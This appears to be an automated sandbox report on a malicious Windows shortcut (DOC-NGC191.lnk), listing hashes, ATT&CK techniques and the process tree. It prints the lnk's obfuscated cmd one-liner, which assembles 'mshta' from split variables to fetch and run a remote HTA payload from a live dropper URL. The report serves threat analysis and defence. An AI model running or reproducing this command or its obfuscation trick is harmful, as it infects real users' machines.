f4d5db4ddf01dda68aa2f675821dcc96162ec083bd350b9034f74ae4342a0405

Analysis

max time kernel
148s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:31

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General

Target
DOC-NGC191.lnk
Size 1KB
Sample260803-qsdy7ack3x
SHA256 f4d5db4ddf01dda68aa2f675821dcc96162ec083bd350b9034f74ae4342a0405
MD5 9b6a0e866c0952484550c48b28915d87
SHA1 ce3836797395be92fc7be300ed73c4b0533c6e19
SHA512 58ae5443970ca7a432ee7d23d81c51ec36ff5bf5109e8ba12a50b5df4ffeaf2a6317cbbae544348af85db98d0faeb6de90c7a6343357f81af7f9962032962070
TLSH
T1AF3147503FFD0618F3F79E7394BB571085BBB9568E24C61D0141464C1432A15E17BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4924	cmd.exe
4152	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4924 wrote to memory of 4152	4924	cmd.exe	90
PID 4152 wrote to memory of 5912	4152	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NGC191.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4924
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set uT=msh&&set ipyfg=ta&&start "" !uT!!ipyfg! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:5912

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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